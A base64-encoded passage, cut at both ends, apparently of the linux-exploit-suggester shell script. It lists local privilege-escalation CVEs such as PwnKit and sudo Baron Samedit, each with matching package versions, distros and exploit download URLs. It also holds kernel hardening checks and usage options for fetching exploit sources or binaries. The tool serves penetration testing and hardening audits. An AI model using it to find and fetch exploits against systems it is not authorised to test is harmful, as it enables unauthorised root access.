aWQKQ29tbWVudHM6IHN1ZG8gY29uZmlndXJhdGlvbiByZXF1aXJlcyBwd2ZlZWRiYWNrIHRvIGJlIGVuYWJsZWQuCkVPRgopCgpFWFBMT0lUU19VU0VSU1BBQ0VbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDIwLTk0NzBdJHt0eHRyc3R9IFdpbmcgRlRQIFNlcnZlciA8PSA2LjIuNSBMUEUKUmVxczogY21kOlsgLXggL2V0Yy9pbml0LmQvd2Z0cHNlcnZlciBdClRhZ3M6IHVidW50dT0xOApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly93d3cuaG9vcGVybGFicy54eXovZGlzY2xvc3VyZXMvY3ZlLTIwMjAtOTQ3MC5waHAKc3JjLXVybDogaHR0cHM6Ly93d3cuaG9vcGVybGFicy54eXovZGlzY2xvc3VyZXMvY3ZlLTIwMjAtOTQ3MC5zaApleHBsb2l0LWRiOiA0ODE1NAphdXRob3I6IENhcnkgQ29vcGVyCkNvbW1lbnRzOiBSZXF1aXJlcyBhbiBhZG1pbmlzdHJhdG9yIHRvIGxvZ2luIHZpYSB0aGUgd2ViIGludGVyZmFjZS4KRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzE1Nl0ke3R4dHJzdH0gc3VkbyBCYXJvbiBTYW1lZGl0ClJlcXM6IHBrZz1zdWRvLHZlcjwxLjkuNXAyClRhZ3M6IG1pbnQ9MTksdWJ1bnR1PTE4fDIwLCBkZWJpYW49MTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMS8wMS8yNi9jdmUtMjAyMS0zMTU2L2Jhcm9uLXNhbWVkaXQtaGVhcC1iYXNlZC1vdmVyZmxvdy1zdWRvLnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vYmxhc3R5L0NWRS0yMDIxLTMxNTYvemlwL21haW4KYXV0aG9yOiBibGFzdHkKRU9GCikKCkVYUExPSVRTX1VTRVJTUEFDRVsoKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMjEtMzE1Nl0ke3R4dHJzdH0gc3VkbyBCYXJvbiBTYW1lZGl0IDIKUmVxczogcGtnPXN1ZG8sdmVyPDEuOS41cDIKVGFnczogY2VudG9zPTZ8N3w4LHVidW50dT0xNHwxNnwxN3wxOHwxOXwyMCwgZGViaWFuPTl8MTAKUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMS8wMS8yNi9jdmUtMjAyMS0zMTU2L2Jhcm9uLXNhbWVkaXQtaGVhcC1iYXNlZC1vdmVyZmxvdy1zdWRvLnR4dApzcmMtdXJsOiBodHRwczovL2NvZGVsb2FkLmdpdGh1Yi5jb20vd29yYXdpdC9DVkUtMjAyMS0zMTU2L3ppcC9tYWluCmF1dGhvcjogd29yYXdpdApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNy01NjE4XSR7dHh0cnN0fSBzZXR1aWQgc2NyZWVuIHY0LjUuMCBMUEUKUmVxczogcGtnPXNjcmVlbix2ZXI9PTQuNS4wClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9zZWNsaXN0cy5vcmcvb3NzLXNlYy8yMDE3L3ExLzE4NApleHBsb2l0LWRiOiBodHRwczovL3d3dy5leHBsb2l0LWRiLmNvbS9leHBsb2l0cy80MTE1NApFT0YKKQoKRVhQTE9JVFNfVVNFUlNQQUNFWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAyMS00MDM0XSR7dHh0cnN0fSBQd25LaXQKUmVxczogcGtnPXBvbGtpdHxwb2xpY3lraXQtMSx2ZXI8PTAuMTA1LTMxClRhZ3M6IHVidW50dT0xMHwxMXwxMnwxM3wxNHwxNXwxNnwxN3wxOHwxOXwyMHwyMSxkZWJpYW49N3w4fDl8MTB8MTEsZmVkb3JhLG1hbmphcm8KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vd3d3LnF1YWx5cy5jb20vMjAyMi8wMS8yNS9jdmUtMjAyMS00MDM0L3B3bmtpdC50eHQKc3JjLXVybDogaHR0cHM6Ly9jb2RlbG9hZC5naXRodWIuY29tL2JlcmRhdi9DVkUtMjAyMS00MDM0L3ppcC9tYWluCmF1dGhvcjogYmVyZGF2CkVPRgopCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIyBzZWN1cml0eSByZWxhdGVkIEhXL2tlcm5lbCBmZWF0dXJlcwojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwpuPTAKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IE1haW5saW5lIGtlcm5lbCBwcm90ZWN0aW9uIG1lY2hhbmlzbXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBLZXJuZWwgUGFnZSBUYWJsZSBJc29sYXRpb24gKFBUSSkgc3VwcG9ydAphdmFpbGFibGU6IHZlcj49NC4xNQplbmFibGVkOiBjbWQ6Z3JlcCAtRXFpICdcc3B0aScgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3B0aS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR0NDIHN0YWNrIHByb3RlY3RvciBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX0hBVkVfU1RBQ0tQUk9URUNUT1I9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0YWNrcHJvdGVjdG9yLXJlZ3VsYXIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEdDQyBzdGFjayBwcm90ZWN0b3IgU1RST05HIHN1cHBvcnQKYXZhaWxhYmxlOiBDT05GSUdfU1RBQ0tQUk9URUNUT1JfU1RST05HPXksdmVyPj0zLjE0CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RhY2twcm90ZWN0b3Itc3Ryb25nLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBMb3cgYWRkcmVzcyBzcGFjZSB0byBwcm90ZWN0IGZyb20gdXNlciBhbGxvY2F0aW9uCmF2YWlsYWJsZTogQ09ORklHX0RFRkFVTFRfTU1BUF9NSU5fQUREUj1bMC05XSsKZW5hYmxlZDogc3lzY3RsOnZtLm1tYXBfbWluX2FkZHIhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9tbWFwX21pbl9hZGRyLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQcmV2ZW50IHVzZXJzIGZyb20gdXNpbmcgcHRyYWNlIHRvIGV4YW1pbmUgdGhlIG1lbW9yeSBhbmQgc3RhdGUgb2YgdGhlaXIgcHJvY2Vzc2VzCmF2YWlsYWJsZTogQ09ORklHX1NFQ1VSSVRZX1lBTUE9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnlhbWEucHRyYWNlX3Njb3BlIT0wCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMveWFtYV9wdHJhY2Vfc2NvcGUubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IHVucHJpdmlsZWdlZCBhY2Nlc3MgdG8ga2VybmVsIHN5c2xvZwphdmFpbGFibGU6IENPTkZJR19TRUNVUklUWV9ETUVTR19SRVNUUklDVD15LHZlcj49Mi42LjM3CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwuZG1lc2dfcmVzdHJpY3QhPTAKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kbWVzZ19yZXN0cmljdC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogUmFuZG9taXplIHRoZSBhZGRyZXNzIG9mIHRoZSBrZXJuZWwgaW1hZ2UgKEtBU0xSKQphdmFpbGFibGU6IENPTkZJR19SQU5ET01JWkVfQkFTRT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMva2FzbHIubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEhhcmRlbmVkIHVzZXIgY29weSBzdXBwb3J0CmF2YWlsYWJsZTogQ09ORklHX0hBUkRFTkVEX1VTRVJDT1BZPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9oYXJkZW5lZF91c2VyY29weS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogTWFrZSBrZXJuZWwgdGV4dCBhbmQgcm9kYXRhIHJlYWQtb25seQphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfS0VSTkVMX1JXWD15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc3RyaWN0X2tlcm5lbF9yd3gubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFNldCBsb2FkYWJsZSBrZXJuZWwgbW9kdWxlIGRhdGEgYXMgTlggYW5kIHRleHQgYXMgUk8KYXZhaWxhYmxlOiBDT05GSUdfU1RSSUNUX01PRFVMRV9SV1g9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3N0cmljdF9tb2R1bGVfcnd4Lm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBCVUcoKSBjb25kaXRpb25zIHJlcG9ydGluZwphdmFpbGFibGU6IENPTkZJR19CVUc9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2J1Zy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogQWRkaXRpb25hbCAnY3JlZCcgc3RydWN0IGNoZWNrcwphdmFpbGFibGU6IENPTkZJR19ERUJVR19DUkVERU5USUFMUz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfY3JlZGVudGlhbHMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFNhbml0eSBjaGVja3MgZm9yIG5vdGlmaWVyIGNhbGwgY2hhaW5zCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX05PVElGSUVSUz15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZGVidWdfbm90aWZpZXJzLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBFeHRlbmRlZCBjaGVja3MgZm9yIGxpbmtlZC1saXN0cyB3YWxraW5nCmF2YWlsYWJsZTogQ09ORklHX0RFQlVHX0xJU1Q9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX2xpc3QubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBvbiBzY2F0dGVyLWdhdGhlciB0YWJsZXMKYXZhaWxhYmxlOiBDT05GSUdfREVCVUdfU0c9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2RlYnVnX3NnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBDaGVja3MgZm9yIGRhdGEgc3RydWN0dXJlIGNvcnJ1cHRpb25zCmF2YWlsYWJsZTogQ09ORklHX0JVR19PTl9EQVRBX0NPUlJVUFRJT049eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2J1Z19vbl9kYXRhX2NvcnJ1cHRpb24ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IENoZWNrcyBmb3IgYSBzdGFjayBvdmVycnVuIG9uIGNhbGxzIHRvICdzY2hlZHVsZScKYXZhaWxhYmxlOiBDT05GSUdfU0NIRURfU1RBQ0tfRU5EX0NIRUNLPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zY2hlZF9zdGFja19lbmRfY2hlY2subWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEZyZWVsaXN0IG9yZGVyIHJhbmRvbWl6YXRpb24gb24gbmV3IHBhZ2VzIGNyZWF0aW9uCmF2YWlsYWJsZTogQ09ORklHX1NMQUJfRlJFRUxJU1RfUkFORE9NPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbGFiX2ZyZWVsaXN0X3JhbmRvbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogRnJlZWxpc3QgbWV0YWRhdGEgaGFyZGVuaW5nCmF2YWlsYWJsZTogQ09ORklHX1NMQUJfRlJFRUxJU1RfSEFSREVORUQ9eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NsYWJfZnJlZWxpc3RfaGFyZGVuZWQubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IEFsbG9jYXRvciB2YWxpZGF0aW9uIGNoZWNraW5nCmF2YWlsYWJsZTogQ09ORklHX1NMVUJfREVCVUdfT049eSxjbWQ6ISBncmVwICdzbHViX2RlYnVnPS0nIC9wcm9jL2NtZGxpbmUKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zbHViX2RlYnVnLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBWaXJ0dWFsbHktbWFwcGVkIGtlcm5lbCBzdGFja3Mgd2l0aCBndWFyZCBwYWdlcwphdmFpbGFibGU6IENPTkZJR19WTUFQX1NUQUNLPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy92bWFwX3N0YWNrLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQYWdlcyBwb2lzb25pbmcgYWZ0ZXIgZnJlZV9wYWdlcygpIGNhbGwKYXZhaWxhYmxlOiBDT05GSUdfUEFHRV9QT0lTT05JTkc9eQplbmFibGVkOiBjbWQ6IGdyZXAgJ3BhZ2VfcG9pc29uPTEnIC9wcm9jL2NtZGxpbmUKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9wYWdlX3BvaXNvbmluZy5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVXNpbmcgJ3JlZmNvdW50X3QnIGluc3RlYWQgb2YgJ2F0b21pY190JwphdmFpbGFibGU6IENPTkZJR19SRUZDT1VOVF9GVUxMPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9yZWZjb3VudF9mdWxsLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBIYXJkZW5pbmcgY29tbW9uIHN0ci9tZW0gZnVuY3Rpb25zIGFnYWluc3QgYnVmZmVyIG92ZXJmbG93cwphdmFpbGFibGU6IENPTkZJR19GT1JUSUZZX1NPVVJDRT15CmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvZm9ydGlmeV9zb3VyY2UubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFJlc3RyaWN0IC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19TVFJJQ1RfREVWTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9zdHJpY3RfZGV2bWVtLm1kCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBSZXN0cmljdCBJL08gYWNjZXNzIHRvIC9kZXYvbWVtCmF2YWlsYWJsZTogQ09ORklHX0lPX1NUUklDVF9ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2lvX3N0cmljdF9kZXZtZW0ubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IEhhcmR3YXJlLWJhc2VkIHByb3RlY3Rpb24gZmVhdHVyZXM6CkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBTdXBlcnZpc29yIE1vZGUgRXhlY3V0aW9uIFByb3RlY3Rpb24gKFNNRVApIHN1cHBvcnQKYXZhaWxhYmxlOiB2ZXI+PTMuMAplbmFibGVkOiBjbWQ6Z3JlcCAtcWkgc21lcCAvcHJvYy9jcHVpbmZvCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvc21lcC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwZXJ2aXNvciBNb2RlIEFjY2VzcyBQcmV2ZW50aW9uIChTTUFQKSBzdXBwb3J0CmF2YWlsYWJsZTogdmVyPj0zLjcKZW5hYmxlZDogY21kOmdyZXAgLXFpIHNtYXAgL3Byb2MvY3B1aW5mbwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3NtYXAubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IDNyZCBwYXJ0eSBrZXJuZWwgcHJvdGVjdGlvbiBtZWNoYW5pc21zOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogR3JzZWN1cml0eQphdmFpbGFibGU6IENPTkZJR19HUktFUk5TRUM9eQplbmFibGVkOiBjbWQ6dGVzdCAtYyAvZGV2L2dyc2VjCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBQYVgKYXZhaWxhYmxlOiBDT05GSUdfUEFYPXkKZW5hYmxlZDogY21kOnRlc3QgLXggL3NiaW4vcGF4Y3RsCkVPRgopCgpGRUFUVVJFU1soKG4rKykpXT0kKGNhdCA8PEVPRgpmZWF0dXJlOiBMaW51eCBLZXJuZWwgUnVudGltZSBHdWFyZCAoTEtSRykga2VybmVsIG1vZHVsZQplbmFibGVkOiBjbWQ6dGVzdCAtZCAvcHJvYy9zeXMvbGtyZwphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2xrcmcubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCnNlY3Rpb246IEF0dGFjayBTdXJmYWNlOgpFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogVXNlciBuYW1lc3BhY2VzIGZvciB1bnByaXZpbGVnZWQgYWNjb3VudHMKYXZhaWxhYmxlOiBDT05GSUdfVVNFUl9OUz15CmVuYWJsZWQ6IHN5c2N0bDprZXJuZWwudW5wcml2aWxlZ2VkX3VzZXJuc19jbG9uZT09MQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL3VzZXJfbnMubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFVucHJpdmlsZWdlZCBhY2Nlc3MgdG8gYnBmKCkgc3lzdGVtIGNhbGwKYXZhaWxhYmxlOiBDT05GSUdfQlBGX1NZU0NBTEw9eQplbmFibGVkOiBzeXNjdGw6a2VybmVsLnVucHJpdmlsZWdlZF9icGZfZGlzYWJsZWQhPTEKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9icGZfc3lzY2FsbC5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3lzY2FsbHMgZmlsdGVyaW5nCmF2YWlsYWJsZTogQ09ORklHX1NFQ0NPTVA9eQplbmFibGVkOiBjbWQ6Z3JlcCAtaXcgU2VjY29tcCAvcHJvYy9zZWxmL3N0YXR1cyB8IGF3ayAne3ByaW50IFwkMn0nCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXRodWIuY29tL216ZXQtL2xlcy1yZXMvYmxvYi9tYXN0ZXIvZmVhdHVyZXMvYnBmX3N5c2NhbGwubWQKRU9GCikKCkZFQVRVUkVTWygobisrKSldPSQoY2F0IDw8RU9GCmZlYXR1cmU6IFN1cHBvcnQgZm9yIC9kZXYvbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZNRU09eQphbmFseXNpcy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9temV0LS9sZXMtcmVzL2Jsb2IvbWFzdGVyL2ZlYXR1cmVzL2Rldm1lbS5tZApFT0YKKQoKRkVBVFVSRVNbKChuKyspKV09JChjYXQgPDxFT0YKZmVhdHVyZTogU3VwcG9ydCBmb3IgL2Rldi9rbWVtIGFjY2VzcwphdmFpbGFibGU6IENPTkZJR19ERVZLTUVNPXkKYW5hbHlzaXMtdXJsOiBodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGVzLXJlcy9ibG9iL21hc3Rlci9mZWF0dXJlcy9kZXZrbWVtLm1kCkVPRgopCgoKdmVyc2lvbigpIHsKICAgIGVjaG8gImxpbnV4LWV4cGxvaXQtc3VnZ2VzdGVyICIkVkVSU0lPTiIsIG16ZXQsIGh0dHBzOi8vei1sYWJzLmV1LCBNYXJjaCAyMDE5Igp9Cgp1c2FnZSgpIHsKICAgIGVjaG8gIkxFUyB2ZXIuICRWRVJTSU9OIChodHRwczovL2dpdGh1Yi5jb20vbXpldC0vbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIpIGJ5IEBfbXpldF8iCiAgICBlY2hvCiAgICBlY2hvICJVc2FnZTogbGludXgtZXhwbG9pdC1zdWdnZXN0ZXIuc2ggW09QVElPTlNdIgogICAgZWNobwogICAgZWNobyAiIC1WIHwgLS12ZXJzaW9uICAgICAgICAgICAgICAgLSBwcmludCB2ZXJzaW9uIG9mIHRoaXMgc2NyaXB0IgogICAgZWNobyAiIC1oIHwgLS1oZWxwICAgICAgICAgICAgICAgICAgLSBwcmludCB0aGlzIGhlbHAiCiAgICBlY2hvICIgLWsgfCAtLWtlcm5lbCA8dmVyc2lvbj4gICAgICAtIHByb3ZpZGUga2VybmVsIHZlcnNpb24iCiAgICBlY2hvICIgLXUgfCAtLXVuYW1lIDxzdHJpbmc+ICAgICAgICAtIHByb3ZpZGUgJ3VuYW1lIC1hJyBzdHJpbmciCiAgICBlY2hvICIgLS1za2lwLW1vcmUtY2hlY2tzICAgICAgICAgICAtIGRvIG5vdCBwZXJmb3JtIGFkZGl0aW9uYWwgY2hlY2tzIChrZXJuZWwgY29uZmlnLCBzeXNjdGwpIHRvIGRldGVybWluZSBpZiBleHBsb2l0IGlzIGFwcGxpY2FibGUiCiAgICBlY2hvICIgLS1za2lwLXBrZy12ZXJzaW9ucyAgICAgICAgICAtIHNraXAgY2hlY2tpbmcgZm9yIGV4YWN0IHVzZXJzcGFjZSBwYWNrYWdlIHZlcnNpb24gKGhlbHBzIHRvIGF2b2lkIGZhbHNlIG5lZ2F0aXZlcykiCiAgICBlY2hvICIgLXAgfCAtLXBrZ2xpc3QtZmlsZSA8ZmlsZT4gICAtIHByb3ZpZGUgZmlsZSB3aXRoICdkcGtnIC1sJyBvciAncnBtIC1xYScgY29tbWFuZCBvdXRwdXQiCiAgICBlY2hvICIgLS1jdmVsaXN0LWZpbGUgPGZpbGU+ICAgICAgICAtIHByb3ZpZGUgZmlsZSB3aXRoIExpbnV4IGtlcm5lbCBDVkVzIGxpc3QiCiAgICBlY2hvICIgLS1jaGVja3NlYyAgICAgICAgICAgICAgICAgICAtIGxpc3Qgc2VjdXJpdHkgcmVsYXRlZCBmZWF0dXJlcyBmb3IgeW91ciBIVy9rZXJuZWwiCiAgICBlY2hvICIgLXMgfCAtLWZldGNoLXNvdXJjZXMgICAgICAgICAtIGF1dG9tYXRpY2FsbHkgZG93bmxvYWRzIHNvdXJjZSBmb3IgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC1iIHwgLS1mZXRjaC1iaW5hcmllcyAgICAgICAgLSBhdXRvbWF0aWNhbGx5IGRvd25sb2FkcyBiaW5hcnkgZm9yIG1hdGNoZWQgZXhwbG9pdCBpZiBhdmFpbGFibGUiCiAgICBlY2hvICIgLWYgfCAtLWZ1bGwgICAgICAgICAgICAgICAgICAtIHNob3cgZnVsbCBpbmZvIGFib3V0IG1hdGNoZWQgZXhwbG9pdCIKICAgIGVjaG8gIiAtZyB8IC0tc2hvcnQgICAgICAgICAgICAgICAgIC0gc2hvdyBzaG9ydGVuIGluZm8gYWJvdXQgbWF0Y2hlZCBleHBsb2l0IgogICAgZWNobyAiIC0ta2VybmVsc3BhY2Utb25seSAgICAgICAgICAgLSBzaG93IG9ubHkga2VybmVsIHZ1bG5lcmFiaWxpdGllcyIKICAgIGVjaG8gIiAtLXVzZXJzcGFjZS1vbmx5ICAgICAgICAgICAgIC0gc2hvdyBvbmx5IHVzZXJzcGFjZSB2dWxuZXJhYmlsaXRpZXMiCiAgICBlY2hvICIgLWQgfCAtLXNob3ctZG9zICAgICAgICAgICAgICAtIHNob3cgYWxzbyBEb1NlcyBpbiByZXN1bHRzIgp9CgpleGl0V2l0aEVyck1zZygpIHsKICAgIGVjaG8gIiQxIiAxPiYyCiAgICBleGl0IDEKfQoKIyBleHRyYWN0cyBhbGwgaW5mb3JtYXRpb24gZnJvbSBvdXRwdXQgb2YgJ3VuYW1lIC